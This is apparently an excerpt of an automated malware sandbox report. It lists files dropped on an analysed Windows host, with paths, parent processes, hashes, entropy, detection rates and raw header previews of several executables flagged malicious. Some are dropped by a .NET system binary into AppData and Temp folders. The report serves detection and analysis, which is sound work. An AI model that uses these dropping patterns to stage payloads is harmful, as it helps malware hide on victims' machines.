                                                                                                        Preview:...]............bb..%................................................'..).P.%..P...................................................K.s@........}........]..........].......}..............................=......>}.......................................=......]..9...................................................................................................................]..........................................}...........................................................................=........................]............]............................................................}.......................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                        Download File
                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):19253
                                                                                                        Entropy (8bit):5.006282547782425
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:384:JVib49PVoGIpN6KQkj2kkjh4iUxGhQwLh3OdB0NXp528vOjJwYo8YKib4o:JFPV3IpNBQkj2Nh4iUxGhlLh3OdB0NZf
                                                                                                        MD5:354FFA594D7B4113B55DC05F30F1471D
                                                                                                        SHA1:99360A00EA24CB404ED52CBE33BB606D5C7D3134
                                                                                                        SHA-256:D74CC828891869310E783194323E312DBB64514585F71EB242CF1FBA910B99E1
                                                                                                        SHA-512:C78849C72CAC9949D6A65F7403DCCD2D508CA15FF73D4E851A784C189D13705646B96C2FB3B4208E5D2B2624314B5A20905D0ED3E474D0FBB2F00466A39AD885
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Download File
                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2232
                                                                                                        Entropy (8bit):5.379677338874509
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:48:tWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//MPUyus:tLHxvIIwLgZ2KRHWLOugss
                                                                                                        MD5:EC88D19932BD09E055925B18791E48FB
                                                                                                        SHA1:AE33B55A24121EF5EAF45CE70F20D046E80D7375
                                                                                                        SHA-256:871612889ACB1697FAD69F6387EE3423C7BD8AAB6776DB9AB765965C48192B80
                                                                                                        SHA-512:1770E81F5D8017B0E17BFA03A567BFA1EEE45B18EB2E448DC2E5FD51EA92B5432B817F78AB66AC0E546663676499AA61797A72EE27204497C62B32FB73BDCAAE
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                        C:\Users\user\AppData\Local\OUk0jc7FyA7JiXBcKBsav4Ex.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 100%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\OeIzFpPQv96lBLRJ074Q8fw6.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 95%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\PG0i0imJz19jFNp7ko6pIPRA.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: ReversingLabs, Detection: 88%
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\RRe1rhCZ16opf2KOV6fOjlXA.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767402940402546
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:AGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+U:pJBm3eJcFt4uM6mFBJtLXVUJ
                                                                                                        MD5:5D54A0165037A97537C3067A209C1398
                                                                                                        SHA1:800788B062F7D4DB239D77194C4203131FFE9DC8
                                                                                                        SHA-256:EAB2722D01A786F8D87F13248BED5B8CE7D84A7295A1AF97E291AE0787CE870D
                                                                                                        SHA-512:825C74FF7CB7A84B68267EFAB0BC3911720CBC945B6CD6B3176CEABD7B850EC12AA16C989B044963C4B58A871A1EC488D5992BCF176A598C3AEA0057B17A5FAD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....D}-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\SqalFpG888aZxKTidsmLhW66.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\TYAlD9K38T8WbNsaQQTkm89X.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767400881977897
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:yGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+k:vJBm3eJcFt4uM6mFBJtLXVUt
                                                                                                        MD5:86E5AF6A133F45BA9FB91C569109F0D8
                                                                                                        SHA1:7D42A3687C6DE517D996BC63F7222FC95D2B01E6
                                                                                                        SHA-256:4AB96D05EB8A42D953D4ABA4CA0D571218BE431829CA398B2671B17B49027437
                                                                                                        SHA-512:A537848A9B090B47F0150EC89290C3B776F61C00B00F0C2EB3391633459C9A21ED32F092AF00B4EBB2D52FCFA9155624123D18C312B9E09D56AF8E82F62936AD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\LnQdFAFVk46H7elzEZZ3Xdvx.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398658767997
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:PGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+k:+JBm3eJcFt4uM6mFBJtLXVUd
                                                                                                        MD5:AA41F78F1F683FA82608B042E57ECA06
                                                                                                        SHA1:F200B7AF0AE09444DCACC5BC64D1D208A03FEEF6
                                                                                                        SHA-256:12269AF3244CC2674E37DD7D0B7661FA074AA4AAD538E0E1E9E2A98001F45DBF
                                                                                                        SHA-512:5A13618F1296C0C66A59FC7426B6523471D43BFDAE000BA5E9B23B3B6610494345C75D2ABAB7628D445DC334EED74A4039DD2D241FFF7E21FB2BF92AA3438482
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....B.-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\OPqTdTFbxWlK6znimRD995XD.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767399845218745
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:UGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+Q:FJBm3eJcFt4uM6mFBJtLXVUt
                                                                                                        MD5:9D8AD117253C7E7E5CEBB1CF22A79E68
                                                                                                        SHA1:6D0191565B0F71DC2D9BACD2BF61AEFD6F36D1EB
                                                                                                        SHA-256:943DE6361BA2D76EC33AB3FA8DB19B52312F7F39BB96B1966D0242373ED88194
                                                                                                        SHA-512:6E77B5D71B060185CADBCFDB4D32E8898BFB68659691CAAF378D16C764AC79EE6A5C3C2AB619F6B8B21BFB588A864A41AD296CF47EAFC042F80B657C2FB2F51C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......j-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398508369486
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:dGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+N:oJBm3eJcFt4uM6mFBJtLXVU0
                                                                                                        MD5:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        SHA1:1C063023DB962E74B9DE24A3500A3D6E706D50C3
                                                                                                        SHA-256:6D96216FD31526B23F380E2C06BD4F5EDCB25E42F937A5F84CC44E6F90F8B4DD
                                                                                                        SHA-512:D5952C76CE7A78C2FE9EA83C47F54B82563043BF9E74D075949C0C2CACB76000862A331DBB009738777B0D484E3123031C81D5B15E6AB3B2257DFE5CC36BD82A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....].-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20231121151300960.log

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        File Type:ASCII text, with very long lines (521)
                                                                                                        Category:modified
                                                                                                        Size (bytes):3883
                                                                                                        Entropy (8bit):5.567749701457257
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:48:hNb74qBNbHNbANbGmNb4Nb7Nb6Nb5xs5NbxCIcVBYVPqzCrjtVZE7TwZdLFUEwZK:lsmCqxgojt0Toq3repX5glCX5glqNj
                                                                                                        MD5:ADE564CAB479AA9F887093192ED302A0
                                                                                                        SHA1:7010DC771A7C1FBB03B3DC58730FD6808BAEC769
                                                                                                        SHA-256:ACD1C776324BDA70E405F4A72DD9AD57356FE57F4AE383E08FDE1C0FA56A5678
                                                                                                        SHA-512:742812E2C02A8149C19D08DC0D6A6ED2F5597BA4B0D61D0C717E0440CA5D86A49EDE95E8DAB5AD2C29F7432D55635464CAB31B9AC42DA23B78560E6EC2849BF1
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:[1121/151300.960:INFO:installer_main.cc(453)] Opera installer starting - version 105.0.4970.16 Stable.[1121/151300.960:INFO:installer_main.cc(456)] Command line: "C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0.[1121/151300.960:INFO:installer_main.cc(478)] Uninstall:0.[1121/151300.960:INFO:installer_main.cc(479)] Silent:1.[1121/151300.960:INFO:installer_main.cc(480)] Run Immediately0.[1121/151300.960:INFO:installer_main.cc(482)] Backend0.[1121/151300.960:INFO:installer_main.cc(483)] Inside package0.[1121/151300.960:INFO:installer_main.cc(484)] Autoupdate:0.[1121/151300.960:INFO:payload_manager_impl.cc(97)] Reading Payload.[1121/151300.960:INFO:installer_main.cc(610)] Tracking data: MDhjYzE1MjkyNThjZDFmYTlkODcyM2IzYjVlNjJlYTVmYTFlZjcyYTdiZGE3ZGU5MDYzZWIwYTFiNWM3MWFjNTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2Ny

                                                                                                        C:\Users\user\AppData\Local\Temp\7zS20C1.tmp\Install.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7257600
                                                                                                        Entropy (8bit):7.440219364896932
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:196608:CNsJA0QbUplMXk/td4xhpNsiV+CDpkpE7Cu:CNvgWQd4PpNnlGI
                                                                                                        MD5:24A387FDA6E0F36F9AF44D65487C5F5B
                                                                                                        SHA1:A2E4DDFCE98B2936DA2D1BC0D9F51F49D4C3C970
                                                                                                        SHA-256:B1A7EC17BF00D0D8D15ADEB1F9D9DE29404841B9F6C1DF3F356F5255BAF18FFB
                                                                                                        SHA-512:F4FB7D8C5033BF49F844395180DD52012FDFD67DEEA344BD46D7D99E9EA9552994B7DAEF5CDF83530A91D6CAC53EBC06A25F945BEAA7172BF3AF5F0E02148A61
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............v...v...v.......v.......v.....9.v.[.....v...w...v.3s....v.3s....v.3s....v.Rich..v.........PE..L......_......................b..............0....@...........................o.....I.o...@...........................n......%n.......n......................pn.tt..................................(.l.@............ n..............................text...W........................... ..`.info........ ...................... ....data.....a..0....a.................@....idata...#... n..$....m.............@..@.info........Pn.......n.............@....reloc..tt...pn..v...<n.............@..B.rsrc.........n.......n.............@..@........................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\7zS2AC3.tmp\Install.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):6398488
                                                                                                        Entropy (8bit):7.995784783842997
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:98304:91OZoLr5hWGs2O71dkYKJO5+XDaqGf1r1tCzKgvm2cAJg105cEGDzm91U:91OiL6P2qjKjXDK/ozvtfem5Cmg
                                                                                                        MD5:2CAFB9685610BFF31960C959887426AA
                                                                                                        SHA1:A980A387635E7820DD2AF9CF2BB94E190B7545D6
                                                                                                        SHA-256:4A5CE0CC849CE8AEB1E6580E610FF413AAC0A596ACB29C05BC81755C0E926A8C
                                                                                                        SHA-512:A4538A230A88D47DFA4AD06C4AE0686A7D5BE7177D324CEBC9759BA02BFF90EDDE410EC4F6BD4A6FDBC7A5A962BB415EEB0F92A2B412ABC8485BD2B2F4712635
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\Temp\7zS2AC3.tmp\__data__\config.txt

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe
                                                                                                        File Type:data
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1078321
                                                                                                        Entropy (8bit):7.999843998815412
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:24576:2NDd57vvD4z8+3/ozewW8Zkd/6nB9cr5oC5jL4:2xv8/oz7vkiB9creqL4
                                                                                                        MD5:4997C875C476562B67C0D4C4A136842A
                                                                                                        SHA1:6503E8C684FBB0A4649D87A7A01E8EFAC31D620E
                                                                                                        SHA-256:2B0E6D5163DCBAC4F225F26F0B2FCCEAE22D5C9E54438FC1D4BD901866DD1D81
                                                                                                        SHA-512:9D37CB1C72C3D40B61005EE4CDFC453DC4090C98AABFCAE8605CDBC912AA4E9579D56495A895C3541DCE4F355EC6E26869A90A14A22C6EC836D485BB665D9464
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:...`..g...........4z...u..M.b:...K.fA.beL='...u.....-......jsTD0B/-.....,..2{.......E.#B7.W..../go.m......t.....D...x.'..(A.s.JF..`/.......CW.\!oH...Y.t..K...f...^.Y.@..:.Te0...m..<.k..N.8.'A..v..PX.}T....U.}^o...}....S..v..*KT..t.zV.TB..~.!..B.DvAv.AP?..&.:%m..}.).@2.M....0.q..0W}....{L...... d../.,.....%...a&...;..%.e..w.E.8.*a&.h.G...s...g.)....-..L."$9x.Z........{IA:z.\3.9.J...[.^..b.....A.)_....lU....+|.*-.pI.].J.....G .,....D....N.Fb..(..a.`.0.f.dK.F...0Gf.*.[.d!.2.g.yt.........b.DF.<.i.9t%>...]...d...q-P.-..K,.#..o.{.$u..CS+.{.ao..vl...#F.......|1tm.].~..9s..*.A...j.H.M.Il......z....V..L}zZ..>.}.nCk1<Y}.p.L..W...Y.G.O.?..W^.O...o.. .eC...p..>H..-..8...6...+..rS.3.B.?...K5?g-f[.....~1..>kW.o.6...i....bG....PeU4M.g...G.Y#.c.....b.SP0....t-.2.|..8.}X.F..y.)...o...G....:\c..kk..v..._.........Z..6..s.X.......$8..Gi.d$........r....O.."O...Q....{x.....K.l.6.7....{........q..Z.vK..uOH.#.Z.{..!4@.o!.&...../P.s.,.....K.....%..b..

                                                                                                        C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):6398488
                                                                                                        Entropy (8bit):7.995784783842997
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:98304:91OZoLr5hWGs2O71dkYKJO5+XDaqGf1r1tCzKgvm2cAJg105cEGDzm91U:91OiL6P2qjKjXDK/ozvtfem5Cmg
                                                                                                        MD5:2CAFB9685610BFF31960C959887426AA
                                                                                                        SHA1:A980A387635E7820DD2AF9CF2BB94E190B7545D6
                                                                                                        SHA-256:4A5CE0CC849CE8AEB1E6580E610FF413AAC0A596ACB29C05BC81755C0E926A8C
                                                                                                        SHA-512:A4538A230A88D47DFA4AD06C4AE0686A7D5BE7177D324CEBC9759BA02BFF90EDDE410EC4F6BD4A6FDBC7A5A962BB415EEB0F92A2B412ABC8485BD2B2F4712635
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
